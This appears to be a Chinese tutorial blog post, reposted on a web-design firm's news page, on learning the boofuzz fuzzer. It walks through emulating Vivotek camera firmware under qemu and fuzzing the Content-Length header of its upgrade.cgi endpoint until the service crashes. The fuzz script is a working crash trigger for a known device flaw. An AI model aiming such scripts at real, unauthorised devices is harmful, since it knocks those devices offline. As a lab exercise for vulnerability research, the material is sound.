尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

boofuzz学习

boofuzz学习
📅 发布时间:2026/6/19 14:31:00

boofuzz学习

常见的命令

创建虚拟环境

python3 -m venv env

启动虚拟环境

source env/bin/activate

安装 boofuzz

pip install boofuzz

文档

安装 boofuzz — boofuzz 0.4.2 文档

学习

让ai写一个简单的测试脚本

from boofuzz import *def main():session = Session(target=Target(connection=SocketConnection("127.0.0.1", 9999, proto="tcp")))# 定义一个消息:先发送 "HELLO ",然后变异后面的字段s_initialize("Request")if s_block_start("main"):s_static("HELLO ")# fuzz 一个长度可变的 ascii 字段s_string("WORLD", fuzzable=True)s_static("\r\n")s_block_end()session.connect(s_get("Request"))session.fuzz()if __name__ == "__main__":main()

然后再另外一个终端上nc -l 9999,效果如下。

img

callback=add_auth_callback 是用来设置钩子函数。

Vivotek摄像头固件栈溢出漏洞

固件下载地址:https://link.zhihu.com/?target=https%3A//github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip

启动流程

linux 启动流程

/etc/inittab -> /etc/init.d/rcS ,根据注释这段代码是启动守护进程的,我们想要的 web 服务也是再守护进程的。

img

但是rcS软连接到 ../mnt/flash/etc/rcS.d 但是找了一下发现为空,返回到 _31.extracted 这一级目录,搜索一下 rcS.d

img

发现里面是软连接,http 服务是启动 /etc/init.d/httpd。

img

以httpd服务为例,启动过程如下:

/etc/init.d/rcS -> /etc/rcS.d/S31httpd -> /etc/init.d/httpd -> /usr/sbin/httpd

漏洞点

报告上写的是在 Content-Length 字段存在漏洞,找到如下代码:

虽然使用的 strncpy 函数进行拷贝,但是 v34 - (v35 + 1) 并没有做任何限制。

img

img

仿真环境

直接使用用户态进行模拟

cp /usr/bin/qemu-arm-static Path_to/squashfs-root
sudo chroot ./ ./qemu-arm-static /usr/sbin/httpd 

报错如下,结合上面的分析,这是因为在31.extracted/_rootfs.img.extracted/squashfs-root/etc的 conf.d 是一个错误的软连接,解决也很好想重新在软连接一下,但是考虑等会我们要将 squashfs-root 作为根目录,当然也可以不将它作为根目录,但是直接将31.extracted/defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc中的全部文件复制到31.extracted/_rootfs.img.extracted/squashfs-root/etc 更方便

img

复制后的报错如下:

img

在程序中定位一下字符串gethostbyname

img

因该是配置文件中的主机名和 ip 不对应。

查看etc/init.d/httpd发现还需要输入参数-c /etc/conf.d/boa -d 。

img

sudo chroot ./ ./qemu-arm-static /usr/sbin/httpd -c /etc/conf.d/boa -d 

还需要将宿主机中/etc/hosts文件夹中的内容全部复制到固件文件系统的/etc/hosts文件中去。

img

成功启动

img

抓包

抓下包看下格式

GET /cgi-bin/admin/upgrade.cgi HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: webptzmode=continuous
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i

脚本

from boofuzz import*
IP = "127.0.0.1"
PORT = 80def check_response(target,fuzz_data_logger,session,*args,**kwargs):fuzz_data_logger.log_info("Checking for response ...")try:response = target.recv(512)except:fuzz_data_logger.log_fail("Unable to connect ...")returnif not response:fuzz_data_logger.log_fail("Empty response ...")target.close()returnfuzz_data_logger.log_info("Start checking ...\n"+response.decode())target.close()returndef main():session = Session(target=Target(connection=SocketConnection(IP,PORT,proto="tcp"),),post_test_case_callbacks=[check_response],)s_initialize(name="FUZZ")with s_block("Request-Line"):# Methods_group("Method",["POST"])s_delim(" ",fuzzable=False)s_string("/cgi-bin/admin/upgrade.cgi ",fuzzable=False,name="URI")s_static("HTTP/1.1",name="Version")s_static("\r\n",name="CRLF")# Hosts_static("Host")s_delim(": ",fuzzable=False)s_string("127.0.0.1",fuzzable=False,name="IP")s_static("\r\n")# Connections_static("Connection")s_delim(": ",fuzzable=False)s_string("Close",fuzzable=False,name="Active")s_static("\r\n")# Content-Lengths_static("Content-Length")s_delim(": ", fuzzable=False)s_string("65", fuzzable=True)# Ends_static("\r\n")s_static("\r\n")session.connect(s_get("FUZZ"))session.fuzz()if __name__=="__main__":main()

运行效果

目标主机直接崩溃

img

可以访问http://localhost:26000/看一下运行信息。

img

参考

BooFuzz入门-Vivotek摄像头栈溢出漏洞 - 0P1N

相关新闻

  • 鸿蒙项目实战(十一):事件通知EventBus
  • BLE动态修改广播地址
  • 2025年扑灭司林厂家最新推荐排行榜,高效环保扑灭司林,专业生产与市场口碑深度解析!

最新新闻

  • 麻省理工研究人员打造 Fractal 操作系统,获苹果 M1 芯片新发现
  • React写的WebVR全景看房跳转demo,带贝壳式热点导航和视角控制
  • 2026年郑州脚手架搭建公司推荐:钢管脚手架/盘口脚手架搭建拆除、室内外装修架子搭设、脚手架租赁施工怎么选 - 海棠依旧大
  • 从PHP一句话木马到Webshell大马:攻防原理与实战防御指南
  • BepInEx IL2CPP启动失败:技术原理与完整解决方案指南
  • Elastic 被评为 IDC MarketScape《2026 年全球 SIEM 厂商评估》领导者

日新闻

  • 信任的进化:技术实现详解——如何用JavaScript构建博弈论模拟器
  • Terrakube自定义工作流:如何集成OPA、Infracost等工具扩展IaC能力
  • grunt-concurrent快速入门:5分钟学会并行运行Grunt任务

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号